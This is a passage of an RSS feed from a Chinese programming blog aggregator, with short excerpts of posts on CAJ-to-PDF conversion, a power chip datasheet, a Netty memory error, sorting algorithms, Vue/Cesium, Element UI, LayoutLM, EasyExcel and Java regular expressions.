      <description>&amp;amp;nbsp; &amp;amp;nbsp; 怎样把caj转换成pdf？CAJ（中国学术期刊全文数据库）和PDF（便携式文档格式）是常见的文件格式，它们具有不同的特点和用途。CAJ文件是基于学术期刊数据库的原始全文格式，包含了完整的文章内容、图表、参考文献等信息；CAJ文件通常具有内置的检索功能，可以通过关键词或作者名等进行快速搜索和定位；CAJ文件适用于学术研究领域，包含了大量的学术期刊文章和研究成果，可供学者、研究人员和学生使用；CAJ文件通常需要特定的软件或阅读器才能打开和查看，对于一般用户来说不太友好。由于CAJ文件包含完整的文本和图像等内容，因此文件大小较大，下载和传输可能会耗费时间和带宽。某些CAJ文件只能在特定的操作系统或设备上打开和使用，可能不太兼容其他平台。&#xA;PDF是一种广泛使用的文件格式，几乎所有设备和操作系统都可以打开、查看和打印PDF文件。PDF文件可以保持原始文档的格式、字体、布局和图像等，并且不受不同设备和操作系统的影响。因此很多小伙伴希望可以将caj转换成pdf格式，那么如何转换呢？下面我来教教你，这些方法可以说是非常的简单，基本上一看就能学会。&#xA;方法一：凭借“优速电子书助手”软件将caj转为pdf&#xA;步骤1，大家应该还是第一次使用“优速电子书助手”软件，所以需要提前将这个软件下载并安装好。运行软件之后可以看到左边有非常多的功能，我们需要点击里面的【CAJ转PDF】功能进入下一步。&#xA;&amp;amp;nbsp;&#xA;步骤2，然后就是添加caj文件到软件中，我们点击左上角【添加文件】按钮，然后通过文件添加窗口，将准备好文档caj文件全部添加到软件中。&#xA;&amp;amp;nbsp;&#xA;步骤3，如下图所示我们设置一下输出目录，指定电脑中的一个文件夹用来保存转换成的pdf文件，如果不设置的话，软件则默认保存到电脑的桌面上。&#xA;&amp;amp;nbsp;&#xA;步骤4，这时候点击【开始转换】红色按钮就可以了，转换完成后软件会自动打开输出文件夹，便于我们查看转换成的pdf文件。&#xA;&amp;amp;nbsp;&#xA;步骤5，最后我们可以看到，添加到软件里的3个caj文件被成功的转成pdf格式，说明此方法是正确有效的。&#xA;&amp;amp;nbsp;&#xA;方法二：使用灵机文件工具进行在线转换&#xA;灵机文件工具是一个有非常多功能的文件处理在线网站，使用它可以对各种文件进行转换或者处理，我们通过电脑里的任何一个浏览器就能将它找到并打开使用，在首页上面就能看到非常多的功能，我们在热门功能下面找到并选择“CAJ转PDF”功能。&#xA;&amp;amp;nbsp;&#xA;此时我们可以看到跳转到了CAJ转PDF的操作界面，我们点击界面上绿色背景中间的“选择文件”按钮，随后就可以将caj文件上传到软件里面了，是支持批量上传和批量转换的。&#xA;&amp;amp;nbsp;&#xA;&amp;amp;nbsp;&amp;amp;nbsp;文件上传好之后，我们点击“确认转换”按钮，启动格式转换程序。大家要注意，这个工具转换的速度比较慢，所以你需要耐心等待，转换结束之后大家记得从工具中将转换成的pdf文件下载下来哦。&#xA;&amp;amp;nbsp;&#xA;方法三：使用小讯pdf处理器将caj转成pdf&#xA;从软件的名称我们就能知道这是一个电脑软件，所以大家请将它安装好，这是一个专业的pdf文件处理软件，它具有将不同文件转换成pdf的功能。打开软件之后我们点击顶部导航上的“特色转换”选项，之后再点击需要使用到的“caj转pdf”功能。&#xA;&amp;amp;nbsp;&#xA;找到软件上的“添加文件”按钮，点击它之后将需要转换成pdf格式的caj文件上传到软件中，可以上传多个文件进行批量转换。&#xA;&amp;amp;nbsp;&#xA;不需要做另外的设置，直接点击右下角的蓝色按钮启动转换即可。&#xA;&amp;amp;nbsp;&#xA;等到状态栏下面的进度条变成100%的时候，说明转换完成了，我们找到软件的输出目录，就能够找到转换成的pdf文件，这样整个转换过程就结束了。&#xA;&amp;amp;nbsp;&#xA;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;将CAJ格式的文件转换为PDF格式之后，你就可以在任何设备和操作系统上都能够方便地查看和打印文档。与此同时，PDF格式具有非常好的跨平台兼容性和可读性，确保了文档在不同设备和软件中的一致性。如果你需要与他人共享或分发文档，将其转换为PDF格式会更加方便，因为几乎所有设备和操作系统都支持PDF格式，而且PDF文件比其他文件格式更加安全可靠。不管是在工作场所还是日常生活中，使用PDF格式的文档都能够提高工作效率和信息传递的便利性。为此小编为大家准备了两个“怎样把caj转换成pdf？&#xA;”的详细方法介绍，感想去的可以试着转换一下，肯定可以帮助你。</description>
    </item>
    <item>
      <title>Trapcode Suite 2024.0.2</title>
      <link>https://bchobby.github.io/posts/67c0d4971f83568450ed97879050e22f/</link>
      <pubDate>Wed, 29 Nov 2023 16:13:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/67c0d4971f83568450ed97879050e22f/</guid>
      <description>Trapcode Suite是一款用于在After Effects中模拟和建模3D粒子和效果的软件。&#xA;该软件包包含11种不同的工具，可以帮助用户模拟火、水、烟、雪等粒子效果，以及创建有机视觉效果和3D元素。它还支持在AE与PR 2022插件，使得用户可以轻松地在后期制作软件中创建理想的3D场景。&#xA;Red Giant Trapcode Suite可以大大简化After Effects中的3D模拟过程，为用户提供高效、逼真的视觉效果。它不仅可以帮助用户轻松模拟粒子、流体、3D合成、表面、声音和运动的效果，还支持用户使用颜色和风景来改进模拟效果，并应用声音移动到模拟组件。&#xA;总而言之，Red Giant Trapcode Suite是一款功能强大的3D粒子模拟软件，专为行业标准而设计，能满足挑剔的用户需求，是After Effects中模拟和建模3D粒子和效果的必备插件。&#xA;Trapcode Suite 2024.0.2</description>
    </item>
    <item>
      <title>PN8016 宽输出范围非隔离交直流转换芯片适用于非隔离的辅助电源</title>
      <link>https://bchobby.github.io/posts/d4284dbc563b3070a35a44416e5f4b36/</link>
      <pubDate>Wed, 29 Nov 2023 15:06:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d4284dbc563b3070a35a44416e5f4b36/</guid>
      <description>PN8016集成PFM控制器及800V高雪崩能力智能功率MOSFET，用于外围元器件极精简的小功率非隔离开关电源，输出电压可通过FB电阻调整。&#xA;PN8016内置800V高压启动与自供电模块，实现系统快速启动、超低待机、自供电功能。该芯片提供了完整的智能化保护功能，包括过载保护，欠压保护，过温保护。另外PN8016的降频调制技术有助于改善EMI特性。&#xA;产品特征&#xA;■ 内置800V高雪崩能力智能功率MOSFET&#xA;■ 内置高压启动和自供电电路&#xA;■ 适用于Buck、Buck-Boost、Flyback等多种架构&#xA;■ 输出电压3.3V~18V可通过FB电阻调整&#xA;■ 半封闭式稳态输出电流300mA @230VAC,5V输出&#xA;■ 改善EMI的降频调制技术&#xA;■ 优异的负载调整率和工作效率&#xA;■ 全面的保护功能  过载保护（OLP）  过温保护（OTP）  欠压保护（UVLO）&#xA;外围参数选择参考&#xA;为了获得更好的 PN8016 系统性能，请务必遵守以下规则：&#xA;1. 为通过 2KV 差模雷击，建议增加二极管 D1* 1N4007。&#xA;2. PN8016 为 SOP-7 封装，2 脚 VDD 与 3 脚 SW 之间不建议保留焊盘。&#xA;PN8016集成PFM控制器及800V高雪崩能力智 能功率MOSFET，用于外围元器件极精简的小功率 非隔离开关电源，输出电压可通过FB电阻调整。 PN8016内置高压启动与自供电模块，实现系统快 速启动、超低待机、自供电功能。该芯片提供了完 整的智能化保护功能，包括过载保护，欠压保护， 过温保护。另外PN8016的降频调制技术有助于改 善EMI特性。&#xA;搜恒森宇电子了解更多相关功能！ 首页</description>
    </item>
    <item>
      <title>OutOfDirectMemoryError错误</title>
      <link>https://bchobby.github.io/posts/a0a26369ff6d8cc470bc7e936a4b563d/</link>
      <pubDate>Wed, 29 Nov 2023 14:51:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a0a26369ff6d8cc470bc7e936a4b563d/</guid>
      <description>2023-11-29 14:25:30.329 dev [frosoms-gateway-136:12345]192.168.50.136 [reactor-http-epoll-7] WARN [io.netty.channel.AbstractChannelHandlerContext AbstractChannelHandlerContext.java:invokeExceptionCaught:311] - An exception &#39;reactor.core.Exceptions$BubblingException: reactor.netty.ReactorNetty$InternalNettyException: io.netty.util.internal.OutOfDirectMemoryError: failed to allocate 16 7216 byte(s) of direct memory (used: 469762055, max: 477626368)&#39; [enable DEBUG level for full stacktrace] was thrown by a user handler&#39;s exceptionCaught() method while handling the following exception:&#xA;io.netty.util.internal.OutOfDirectMemoryError: failed to allocate 16777216 byte(s) of direct memory (used: 469762055, max: 477626368)&#xA;at io.netty.util.internal.PlatformDependent.incrementMemoryCounter(PlatformDependent.java:754)&#xA;at io.netty.util.internal.PlatformDependent.allocateDirectNoCleaner(PlatformDependent.java:709)&#xA;at io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:645)&#xA;at io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:621)&#xA;at io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:204)</description>
    </item>
    <item>
      <title>算法——》排序&amp;&amp;查找</title>
      <link>https://bchobby.github.io/posts/f8ced456fef974ae4c06b0c0f92765e1/</link>
      <pubDate>Wed, 29 Nov 2023 14:12:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f8ced456fef974ae4c06b0c0f92765e1/</guid>
      <description> 推荐链接：&#xA;总结——》【Java】&#xA;总结——》【Mysql】&#xA;总结——》【Redis】&#xA;总结——》【Kafka】&#xA;总结——》【Spring】&#xA;总结——》【SpringBoot】&#xA;总结——》【MyBatis、MyBatis-Plus】&#xA;总结——》【Linux】&#xA;总结——》【MongoDB】&#xA;总结——》【Elasticsearch】&#xA;算法——》排序&amp;amp;&amp;amp;查找 一、排序算法1、内部排序算法2、外部排序算法 二、查找算法 一、排序算法 用于将一组数据按照特定的规则进行排序。&#xA;排序算法可以分为内部排序和外部排序两种。&#xA;不同的排序算法在时间复杂度、空间复杂度和稳定性等方面有所差异，选择合适的排序算法取决于具体的应用场景和数据规模。&#xA;1、内部排序算法 算法描述冒泡排序（Bubble Sort）重复比较相邻的两个元素，如果顺序错误就交换位置，直到整个序列有序插入排序（Insertion Sort）将待排序的元素插入已经排好序的序列中的正确位置，直到整个序列有序选择排序（Selection Sort）每次从待排序序列中选择最小（或最大）的元素放到已排序序列的末尾，直到整个序列有序快速排序（Quick Sort）选择一个基准元素，将比基准元素小的元素放在基准元素的左边，比基准元素大的元素放在基准元素的右边，然后递归地对左右两个子序列进行快速排序归并排序（Merge Sort）将待排序序列划分为两个子序列，分别对两个子序列进行归并排序，然后将排序好的两个子序列合并成一个有序序列堆排序（Heap Sort）将待排序序列构建成一个最大堆（或最小堆），然后依次取出堆顶元素，再对剩余元素进行堆调整，直到整个序列有序 2、外部排序算法 算法描述多路归并排序将待排序的数据分为多个有序的子序列，然后通过多次归并操作将这些子序列合并为一个有序序列基于置换的排序通过多次置换操作将待排序的数据重新排列成有序的序列多层归并排序将待排序的数据分成多个层次，每个层次都进行归并排序操作，最终得到一个有序序列 二、查找算法 查找算法 = 搜索算法，是一种用于在数据集中查找特定元素的算法。&#xA;查找算法可以应用于各种数据结构，如数组、链表、树等。&#xA;算法描述线性查找顺序遍历数据集，逐个比较元素，直到找到目标元素或遍历完整个数据集。时间复杂度为O(n)，其中n为数据集的大小二分查找仅适用于已经排序的数据集。从数据集的中间元素开始比较，如果目标元素小于中间元素，则在左半部分继续查找；如果目标元素大于中间元素，则在右半部分继续查找；如果目标元素等于中间元素，则找到目标元素。时间复杂度为O(log n)哈希查找通过哈希函数将目标元素映射到一个位置，然后在该位置进行查找。哈希查找的平均时间复杂度为O(1)，但是在处理哈希冲突时可能需要线性查找二叉查找树将数据集构建成二叉查找树，其中每个节点的左子树的值小于节点的值，右子树的值大于节点的值。通过比较目标元素和节点的值，可以在二叉查找树中进行快速查找平衡二叉查找树在二叉查找树的基础上，通过旋转操作保持树的平衡，以提高查找效率。常用的平衡二叉查找树有红黑树、AVL树等B树和B+树适用于大规模数据的查找，将数据集分散存储在多个节点中，通过多级索引进行查找。B树和B+树的高度较小，能够减少磁盘I/O操作，提高查找效率字符串匹配算法用于在文本中查找特定的字符串。常用的字符串匹配算法有暴力匹配算法、KMP算法、Boyer-Moore算法等 </description>
    </item>
    <item>
      <title>vue&#43;cesium添加点</title>
      <link>https://bchobby.github.io/posts/f95933a01abeba5c0ee46aab03bf9c0d/</link>
      <pubDate>Wed, 29 Nov 2023 13:57:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f95933a01abeba5c0ee46aab03bf9c0d/</guid>
      <description>接上节&#xA;项目要求地图标注点有动效，参考动效链接https://blog.csdn.net/weixin_39150852/article/details/124126031&#xA;新建一个pointentity.js 如下&#xA;/** * @param {Viewer} viewer * */ export default class PointEntity { constructor(val) { this.viewer = val.viewer } addEntity(item) { // let poin = this.viewer let map_green = require(&#34;../../assets/map_icon_green.png&#34;) let map_green1 = require(&#34;../../assets/map_icon_green1.png&#34;) let x = 1; let flog = true; let poin = this.viewer.entities.add({ id: item.id, name: item.pointName, position: Cesium.Cartesian3.fromDegrees(item.longitude, item.latitude, 990), billboard: { image:map_green, show: true, // default pixelOffset: new Cesium.Cartesian2(0, 0), // default: (0, 0) eyeOffset: new Cesium.</description>
    </item>
    <item>
      <title>C/C&#43;&#43;数据结构与算法课程设计题目(24题)[2023-11-27]</title>
      <link>https://bchobby.github.io/posts/487e693edba728cc50a3ae08e41a82f1/</link>
      <pubDate>Wed, 29 Nov 2023 12:03:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/487e693edba728cc50a3ae08e41a82f1/</guid>
      <description>C/C++数据结构与算法课程设计题目(24题)[2023-11-27] 数据结构与算法课程设计题目及评分标准&#xA;一、课程选题及问题描述&#xA;Part 1 基础型题目&#xA;输入某年某月某日，判断这一天是这一年的第几天？编写一个3人对战的“猜拳游戏”。由计算机来担任2个角色，这2个角色的手势都用随机数来生成。要求玩家可以选择是否重复进行游戏。编写一个“记忆力训练”程序，玩家按照相反的顺序输入已记忆的字符串序列，例如提示的题目是5892，屏幕显示n秒钟后,题目数字自动消失，并提示输入，玩家需输入2985。输入一行字符，分别统计出其中英文字母、空格、数字和其他字符的个数。输入数组，最大的与第一个元素交换，最小的与最后一个元素交换，输出数组。输入一个整数n，当n为偶数时，调用函数求1/2+1/4+…+1/n，当n为奇数时，调用函数求1/1+1/3+…+1/n。 Part 2 应用型题目&#xA;1.个人账务管理系统&#xA;（一）问题描述&#xA;用C或C++语言实现一个简单的个人账务管理系统，该系统要求个人能对某月的支出情况进行统计和分析。通过此课题，熟练掌握数组、文件、结构体、指针的各种操作，以及一些算法思想的应用。&#xA;（二）课题要求&#xA;课题分基本要求和扩展要求，基本要求是必须完成的，扩展要求视能力自选一个或多个完成。&#xA;基本要求&#xA;(1) 支出信息包括：支出类型（主要可以分为食品、学习、交通、通信、礼品等小项），金额，消费地点，消费日期等。&#xA;(2) 消费情况的录入功能，可以任意输入某日期，并记录该日的某项消费情况。对于同一天，可以输入多条消费记录，如记录10月1日中餐的消费情况，再记录10月1日的晚餐消费情况。将相关的信息记录在文件中，每次程序启动可以从文件中读入数据。&#xA;(3) 实现对某段时间进行分类统计和明细条目排序。分类统计指可以对指定时间区间内的消费情况进行汇总，用户可以对所有类型或指定类型进行统计，如对10月1日至11月15日期间所有类型进行统计时，依次统计各类型的消费金额汇总，如食品总消费1000元，交通总消费200元等。也可以指定查询10月1日至11月15日期间交通消费总金额。明显条目排序，指对指定时间区间内的消费情况进行明细排列，并能按金额大小或日期顺序进行排序。例如查看10月1日至11月15日期间“学习”消费的明细情况，对“学习”的每笔花费按金额大小或日期顺序进行排序。可以将分类统计和明细条目排序相结合，如在统计出交通消费总金额的同时，在其后列举消费明细。&#xA;(4) 显示功能：将排序后的内容存为文件，形成个人财务报表。&#xA;(5) 排序功能：按消费的金额升序或降序排序。扩展要求&#xA;(1) 对日期输入的合法性进行判断，如不能输入2010-2-30.&#xA;(2) 界面友好，输入信息符合逻辑如金额不为负数等。数据使用文件存储，无需重复输入数据或所需时间等）。 2. 运动会分数统计&#xA;（一）问题描述&#xA;参加运动会有n个学校，学校编号为1……n。比赛分成m个男子项目，和w个女子项目。项目编号为男子1……m，女子m+1……m+w。不同的项目取前五名或前三名积分；取前五名的积分分别为：7、5、3、2、1，前三名的积分分别为：5、3、2；哪些取前五名或前三名由学生自己设定。（m&amp;lt;=20,n&amp;lt;=20）&#xA;（二）基本要求&#xA;(1) 可以输入各个项目的前三名或前五名的成绩。&#xA;(2)能统计各学校总分。&#xA;(3)可以按学校编号、学校总分、男女团体总分排序输出；&#xA;(4)可以按学校编号查询学校某个项目的情况；可以按项目编号查询取得前三或前五名的学校。&#xA;规定：输入数据形式和范围：20以内的整数（如果做得更好可以输入学校的名称，运动项目的名称）&#xA;输出形式：有中文提示，各学校分数为整形界面要求：有合理的提示，每个功能可以设立菜单，根据提示，可以完成相关的功能要求。&#xA;存储结构：学生自己根据系统功能要求自己设计，但是要求运动会的相关数据要存储在数据文件中。&#xA;测试数据：要求使用1、全部合法数据；2、整体非法数据；3、局部非法数据。进行程序测试，以保证程序的稳定。测试数据及测试结果请在上交的资料中写明；&#xA;源码联系UP主 -&amp;gt; https://space.bilibili.com/329101171&#xA;3. 打印万年历&#xA;（一）课题内容&#xA;用C或C++编程实现一个简单、实用的万年历程序。主要功能为在屏幕上显示任意年月的月历，按每行两个月的格式输出当年或指定的任意年的年历。通过此课题，熟练掌握数组、格式输出、字符串处理、时间函数的调用、文件的各种操作，以及一些基本的日期算法思想。&#xA;（二）课题要求&#xA;课题分基本要求和扩展要求，基本要求是必须完成的，扩展要求视能力自选一个或多个完成。&#xA;基本要求&#xA;(1) 读取系统时钟，计算与日期相关的信息，首先打印出当月的月历，在当月月历的最下方也下列两行方式显示与当前有关的信息：&#xA;今天是： 2005年12月20日，星期二&#xA;当前时间是：22时40分43秒&#xA;(2) 输入任意年号能得到指定年的年历（万年历）。&#xA;(3) 将屏幕上显示的月历和年历均存为文本文件以便今后读取。&#xA;(4) 按每行两个月的格式显示今年的日历，形式如下： ***** ***** ***** ***** * * * * * * * ***** * * * * ***** * * * * * * ***** ***** ***** ***** Jan Feb ________________________________ ________________________________ Sun Mon Tue Wed Thu Fri Sat Sun Mon Tue Wed Thu Fri Sat 1 1 2 3 4 5 2 3 4 5 6 7 8 6 7 8 9 10 11 12 …… …… 扩展要求</description>
    </item>
    <item>
      <title>element UI - this.$confirm is not a function, this.$message is not a function, this.$alert is not a</title>
      <link>https://bchobby.github.io/posts/88c97e28f0d7e09610e351afd9d121e3/</link>
      <pubDate>Wed, 29 Nov 2023 10:54:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/88c97e28f0d7e09610e351afd9d121e3/</guid>
      <description> 在utils下新建loginout.js，引用element MessageBox 弹框后报错，this.$confirm is not a function, this.$message is not a function, this.$alert is not a function。。。&#xA;解决：&#xA;loginout.js里引用&#xA;import { MessageBox } from &#39;element-ui&#39; MessageBox.confirm(&#39;这是一段内容&#39;, &#39;提示&#39;, { confirmButtonText: &#39;确定&#39;, cancelButtonText: &#39;取消&#39;, type: &#39;warning&#39; }).then(() =&amp;gt; { 。。。。。 }) 灵感来自：elementUI——MessageBox组件源码分析 - 简书&#xA;Vue.prototype.$msgbox = MessageBox; Vue.prototype.$alert = MessageBox.alert; Vue.prototype.$confirm = MessageBox.confirm; Vue.prototype.$prompt = MessageBox.prompt; </description>
    </item>
    <item>
      <title>文档理解的新时代：LayOutLM模型的全方位解读</title>
      <link>https://bchobby.github.io/posts/811e7cf43e7ecad43632043d09f16beb/</link>
      <pubDate>Wed, 29 Nov 2023 10:44:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/811e7cf43e7ecad43632043d09f16beb/</guid>
      <description>一、引言 在现代文档处理和信息提取领域，机器学习模型的作用日益凸显。特别是在自然语言处理（NLP）技术快速发展的背景下，如何让机器更加精准地理解和处理复杂文档成为了一个挑战。文档不仅包含文本信息，还包括布局、图像等非文本元素，这些元素在传递信息时起着至关重要的作用。传统的NLP模型通常忽略了这些视觉元素，但LayOutLM模型的出现改变了这一局面。&#xA;LayOutLM模型是一种创新的深度学习模型，它结合了传统的文本处理能力和对文档布局的理解，从而在处理包含丰富布局信息的文档时表现出色。这种模型的设计思想源于对现实世界文档处理需求的深刻理解。例如，在处理一份报告时，我们不仅关注报告中的文字内容，还会关注图表、标题、段落布局等视觉信息。这些信息帮助我们更好地理解文档的结构和内容重点。&#xA;为了说明LayOutLM模型的重要性和实用性，我们可以考虑一份含有多种元素（如文本、表格、图片）的商业合同。在这样的文档中，合同的条款可能以不同的字体或布局突出显示，而关键的图表和数据则以特定的方式呈现。传统的文本分析模型可能无法有效地识别和处理这些复杂的布局和视觉信息，导致信息提取不完整或不准确。而LayOutLM模型则能够识别这些元素，准确提取关键信息，从而大大提高文档处理的效率和准确性。&#xA;在接下来的章节中，我们将详细探讨LayOutLM模型的架构、技术实现细节以及在实际场景中的应用。通过深入了解LayOutLM模型，读者将能够更好地理解其在现代文档理解领域的独特价值和广泛应用前景。&#xA;二、LayOutLM模型详解 LayOutLM模型代表了自然语言处理（NLP）与计算机视觉（CV）交叉领域的一大步。它不仅理解文本内容，还融入了文档的布局信息，为文档理解带来了革新性的进步。接下来，我们将深入探讨LayOutLM模型的关键组成部分、工作原理和实际应用。&#xA;模型架构概览 LayOutLM采用了与BERT类似的架构，但它在输入表示中加入了视觉特征。这些视觉特征来自文档中的每个词的布局信息，如位置坐标和页面信息。LayOutLM利用这些信息来理解文本在视觉页面上的分布，这在处理表格、表单和其他布局密集型文档时特别有用。&#xA;输入表示方法 在LayOutLM中，每个词的输入表示由以下几部分组成：&#xA;文本嵌入: 类似于传统的NLP模型，使用词嵌入来表示文本信息。位置嵌入: 表示词在文本序列中的位置。布局嵌入: 新增加的特征，包括词在页面上的相对位置（例如左上角坐标和右下角坐标）。 例如，考虑一个简单的发票文档，包含“发票号码”和具体的数字。LayOutLM不仅理解这些词的语义，还能通过布局嵌入识别数字是紧跟在“发票号码”标签后面的，从而有效地提取信息。&#xA;预训练任务和过程 LayOutLM的预训练包括多种任务，旨在同时提高模型的语言理解和布局理解能力。这些任务包括：&#xA;掩码语言模型（MLM）: 类似于BERT，部分词被掩盖，模型需要预测它们。布局预测: 模型不仅预测掩盖的词，还预测它们的布局信息。 微调和应用 在预训练完成后，LayOutLM可以针对特定任务进行微调。例如，在表单理解任务中，可以用具有标注的表单数据对模型进行微调，使其更好地理解和提取表单中的信息。&#xA;# 示例代码: LayOutLM模型微调 from transformers import LayoutLMForTokenClassification # 加载预训练的LayOutLM模型 model = LayoutLMForTokenClassification.from_pretrained(&#39;microsoft/layoutlm-base-uncased&#39;) # 微调模型（伪代码） train_dataloader = ... # 定义训练数据 optimizer = ... # 定义优化器 for epoch in range(num_epochs): for batch in train_dataloader: inputs = batch[&#39;input_ids&#39;] labels = batch[&#39;labels&#39;] outputs = model(inputs, labels=labels) loss = outputs.loss loss.backward() optimizer.</description>
    </item>
    <item>
      <title>Git提示 Connection closed by remote host</title>
      <link>https://bchobby.github.io/posts/27cef4696557797f97230b25b2112cb3/</link>
      <pubDate>Wed, 29 Nov 2023 10:36:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/27cef4696557797f97230b25b2112cb3/</guid>
      <description>问题如下图：&#xA;解决：&#xA;删除./ssh目录下的config文件，如下图config文件是新增的&#xA;原因：不知道什么原因，连接外网后突然断开或导致自动增加config文件。</description>
    </item>
    <item>
      <title>【EasyExcel实践】导出多个sheet到多个excel文件，并压缩到一个zip文件</title>
      <link>https://bchobby.github.io/posts/9e0a5012ec807e090375aa99322f2e66/</link>
      <pubDate>Wed, 29 Nov 2023 09:44:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9e0a5012ec807e090375aa99322f2e66/</guid>
      <description>文章目录 前言正文一、项目依赖二、封装表格实体和Sheet实体2.1 表格实体2.2 Sheet实体 三、核心实现3.1 核心实现之导出为输出流3.2 web导出3.3 导出为字节数组 四、调试4.1 构建调试用的实体类4.2 控制器调用4.3 测试结果 五、注册大数转换器，长度大于15时，转换为字符串5.1 实现转换器5.2 使用转换器 前言 工作中遇到一个需求，一次导出多个Excel 文件，并且每个excel中可能存在1到多个sheet页。&#xA;好在没有那种单元格合并的要求。&#xA;总体的思路是，设计两个实体，一个表示表格，一个表示sheet 数据。并且表格包含一个list 类型的sheet对象。&#xA;然后再使用ZipOutputStream、ExcelWriterBuilder、EasyExcel#writerSheet(...) 等类和方法去组装表格，最终进行压缩。&#xA;项目整体使用 java 8 和 阿里的easyexcel工具包。&#xA;正文 一、项目依赖 &amp;lt;dependencies&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-web&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.2.0.RELEASE&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.projectlombok&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;lombok&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.18.2&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.alibaba&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;easyexcel&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.2.11&amp;lt;/version&amp;gt; &amp;lt;exclusions&amp;gt; &amp;lt;exclusion&amp;gt; &amp;lt;groupId&amp;gt;org.slf4j&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;slf4j-api&amp;lt;/artifactId&amp;gt; &amp;lt;/exclusion&amp;gt; &amp;lt;/exclusions&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;/dependencies&amp;gt; 二、封装表格实体和Sheet实体 2.1 表格实体 /** * excel数据 */ @Data public static class ExcelData { // sheet的列表 private final List&amp;lt;ExcelShellData&amp;lt;?</description>
    </item>
    <item>
      <title>Java——正则表达式</title>
      <link>https://bchobby.github.io/posts/8269d6fd7b6b94a3f2352c4024e44745/</link>
      <pubDate>Wed, 29 Nov 2023 09:41:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8269d6fd7b6b94a3f2352c4024e44745/</guid>
      <description>1、什么是正则表达式 一个正则表达式，就是用某种模式去匹配字符串的一个公式。很多人因为它们看上去比较古怪而且复杂所以不敢去使用，不过，经过练习后，就觉得这些复杂的表达式写起来还是相当简单的，而且，一旦你弄懂它&#xA;们，你就能把数小时辛苦而且易错的文本处理工作缩短在几分钟(甚至几秒钟)内完成。&#xA;2、正则表达式的语法 正则表达式的分类 特殊字符（转义字符&#39;|&#39;）&#xA;字符匹配符&#xA;选择匹配符&#xA;限定符&#xA;定位符&#xA;分组组合和反向引用符&#xA;3、元字符(Metacharacter) 3.1转义号 \\ \\符号说明：在我们使用正则表达式去检索某些特殊字符的时候，需要用到转义符号，否则检索不到结果，甚至会报错的。&#xA;案例： 用$ 去匹配 &#34;abc(&#34;会怎样？用(去匹配&#34;abc(&#34;会怎样？&#xA;在Java的正则表达式中，两个\\代表其他语言中的一个\。&#xA;需要使用转义字符的场景 . * + () $ / \ ? [] ^ {} 3.2、字符通配符 符号符号说明示例解释[]可接收的字符列表[efgh]e、f、g、h中的任意一个字符[^]不可接收的字符列表[^abc]除a、b、c之外的任意1字符，包括数字和特殊符号-连字符A-Z任意单个大写字母.匹配除\n以外的任何字符a..b以a开头，b结尾，中间包括2个任意字符长度为4的字符串\\d匹配单个数字字符，相当于[0-9]\\d{3}(\\d)?包含3个或4个数字的字符串\\D匹配非单个数字字符，相当于[^0-9]\\D(\\d)*以单个非数字字符开头，后接任意个数字字符串\\w匹配单个数字、大小写字母字符，相当于[0-9a-zA-Z]\\d{3}\\w{4}以3个数字字符开头的长度为7的数字字符串\\W匹配非单个数字、大小写字母字符，相当于[^0-9a-zA-Z]\\W+\\d{2}以至少1个非数字字母字符开头，2个数字字符结尾的字符串 3.3、选择通配符| 在匹配某个字符串的时候是选择性的，即:既可以匹配这个，又可以匹配那个，这时你需要用到选择匹配符号(|)。&#xA;符号符号说明示例解释|匹配&#34;|&#34;之前或之后的表达式ab|cdab或者cd 3.4、限定符 符号含义示例说明匹配输入*指定字符重复0次或n次（无要求，零到多）(abc)*仅包含任意个abc的字符串，等效于\w*abc abcabcabc+指定字符重复1次或n次（至少一次，1到多）m+(abc)*以至少1个m开头，后接任意个abc的字符串m mabc mabcabc?指定字符重复0次或1次（最多一次，0到1）m+abc?以至少1个m开头，后接ab或abc的字符串mab mabc mmabc{n}只能输入n个字符[abcd]{3}由abcd中字母组成的任意长度为3的字符串abc dbc adc{n,}指定至少n个匹配[abcd]{3,}由abcd中字母组成的任意长度不小于3的字符串aab dbc aaabdc{n,m}指定至少n个但不多于m个匹配[abcd]{3,5}由abcd中字母组成的任意长度不小于3，不大于5的字符串abc abcd aaaaa bcdab 3.5、定位符 符号含义示例说明匹配输入^指定起始字符^[0-9]+[a-z]*以至少1个数字开头，后接任意个小写字母的字符串123$指定结束字符^[0-9]\\-[a-z]+$以一个数字开头后接连接符&#34;-&#34;，并以至少1个小写字母结尾的字符串m mabc mabcabc\\b匹配目标字符串的边界abc\\b这里说的字符串的边界指的是子串间有空格，或者是目标字符串的结束位置cabcd cabc ccabc\\B匹配目标字符串的非边界abc\\B和\\b的含义刚刚相反cabcd cabc ccabc 3.6、分组 